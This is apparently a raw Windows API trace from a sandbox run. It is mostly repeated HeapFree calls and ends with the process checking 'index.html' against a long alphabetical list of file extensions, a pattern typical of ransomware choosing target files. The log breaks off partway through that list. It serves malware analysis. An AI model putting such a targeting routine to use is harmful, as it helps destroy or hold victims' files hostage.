	[0173.127] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4120008 | out: hHeap=0x710000) returned 1
	[0173.127] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0173.127] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0173.129] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.131] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.131] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0173.156] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0173.156] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.172] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.172] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0173.173] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0173.525] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.526] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.526] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.526] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.526] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.526] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.526] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.526] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.526] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.526] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.527] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.527] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.527] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.527] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.529] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.529] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.529] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.529] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0173.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.531] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0173.533] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.533] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0173.533] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0173.724] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.725] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4120008 | out: hHeap=0x710000) returned 1
	[0173.725] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.725] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.725] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4183f70 | out: hHeap=0x710000) returned 1
	[0173.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0173.728] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0173.729] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.729] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.729] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0173.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0173.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0173.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4120008 | out: hHeap=0x710000) returned 1
	[0173.742] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4130010 | out: hHeap=0x710000) returned 1
	[0173.742] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4120008 | out: hHeap=0x710000) returned 1
	[0173.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0173.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0173.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0173.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0174.622] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.626] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.629] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0174.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0174.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0174.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0174.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0174.633] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0174.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0174.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0174.635] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0174.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0174.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0174.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0174.643] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0174.646] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0174.649] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0174.649] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.649] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0174.653] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4151fa0 | out: hHeap=0x710000) returned 1
	[0174.654] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.655] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0174.655] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.657] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4121010 | out: hHeap=0x710000) returned 1
	[0174.657] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.658] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0174.658] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.659] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0174.659] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4161fa8 | out: hHeap=0x710000) returned 1
	[0174.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0174.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0174.662] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0174.662] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0175.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0175.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0175.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0175.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0175.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0175.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0175.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0175.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0175.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0175.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0175.436] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0175.436] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0175.436] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0175.437] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0175.438] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0175.438] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0175.439] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0175.442] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0175.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0175.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0175.444] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0175.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0175.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0175.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0175.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0175.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0175.446] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0175.447] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0175.447] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0175.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0175.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0175.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0175.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0175.449] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0175.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0175.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0175.452] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4110000 | out: hHeap=0x710000) returned 1
	[0175.453] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0175.453] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38a0958 | out: hHeap=0x710000) returned 1
	[0175.454] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0175.455] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0176.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0176.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0176.463] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0176.467] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0176.470] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0176.472] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0176.711] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0176.717] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0176.722] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0176.726] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0176.731] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0176.735] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0176.740] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0176.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0176.749] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.007] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.010] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.012] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.014] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.350] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.354] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.362] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.366] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.370] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.375] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.383] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.387] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.575] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.596] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.610] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.621] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.623] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.624] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.630] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.637] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.642] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.655] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.816] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.819] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.819] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.824] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.830] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.839] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.847] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0177.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.329] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.331] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.334] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.336] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.338] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.341] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.343] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.346] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.349] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.351] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.355] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.358] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.365] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4173f68 | out: hHeap=0x710000) returned 1
	[0178.756] lstrlenW (lpString="index.html") returned 10
	[0178.757] lstrlenW (lpString=".1cd") returned 4
	[0178.757] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0178.757] lstrlenW (lpString=".3ds") returned 4
	[0178.757] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0178.757] lstrlenW (lpString=".3fr") returned 4
	[0178.757] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0178.757] lstrlenW (lpString=".3g2") returned 4
	[0178.757] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0178.757] lstrlenW (lpString=".3gp") returned 4
	[0178.757] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0178.757] lstrlenW (lpString=".7z") returned 3
	[0178.757] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0178.757] lstrlenW (lpString=".accda") returned 6
	[0178.757] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1
	[0178.757] lstrlenW (lpString=".accdb") returned 6
	[0178.757] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1
	[0178.757] lstrlenW (lpString=".accdc") returned 6
	[0178.757] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1
	[0178.757] lstrlenW (lpString=".accde") returned 6
	[0178.758] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1
	[0178.758] lstrlenW (lpString=".accdt") returned 6
	[0178.758] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1
	[0178.758] lstrlenW (lpString=".accdw") returned 6
	[0178.758] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1
	[0178.758] lstrlenW (lpString=".adb") returned 4
	[0178.758] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0178.758] lstrlenW (lpString=".adp") returned 4
	[0178.758] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0178.758] lstrlenW (lpString=".ai") returned 3
	[0178.758] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0178.758] lstrlenW (lpString=".ai3") returned 4
	[0178.758] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0178.758] lstrlenW (lpString=".ai4") returned 4
	[0178.758] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0178.758] lstrlenW (lpString=".ai5") returned 4
	[0178.758] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0178.758] lstrlenW (lpString=".ai6") returned 4
	[0178.758] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0178.759] lstrlenW (lpString=".ai7") returned 4
	[0178.759] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0178.759] lstrlenW (lpString=".ai8") returned 4
	[0178.759] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0178.759] lstrlenW (lpString=".anim") returned 5
	[0178.759] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0178.759] lstrlenW (lpString=".arw") returned 4
	[0178.759] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0178.759] lstrlenW (lpString=".as") returned 3
	[0178.759] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0178.759] lstrlenW (lpString=".asa") returned 4
	[0178.759] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0178.759] lstrlenW (lpString=".asc") returned 4
	[0178.759] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0178.759] lstrlenW (lpString=".ascx") returned 5
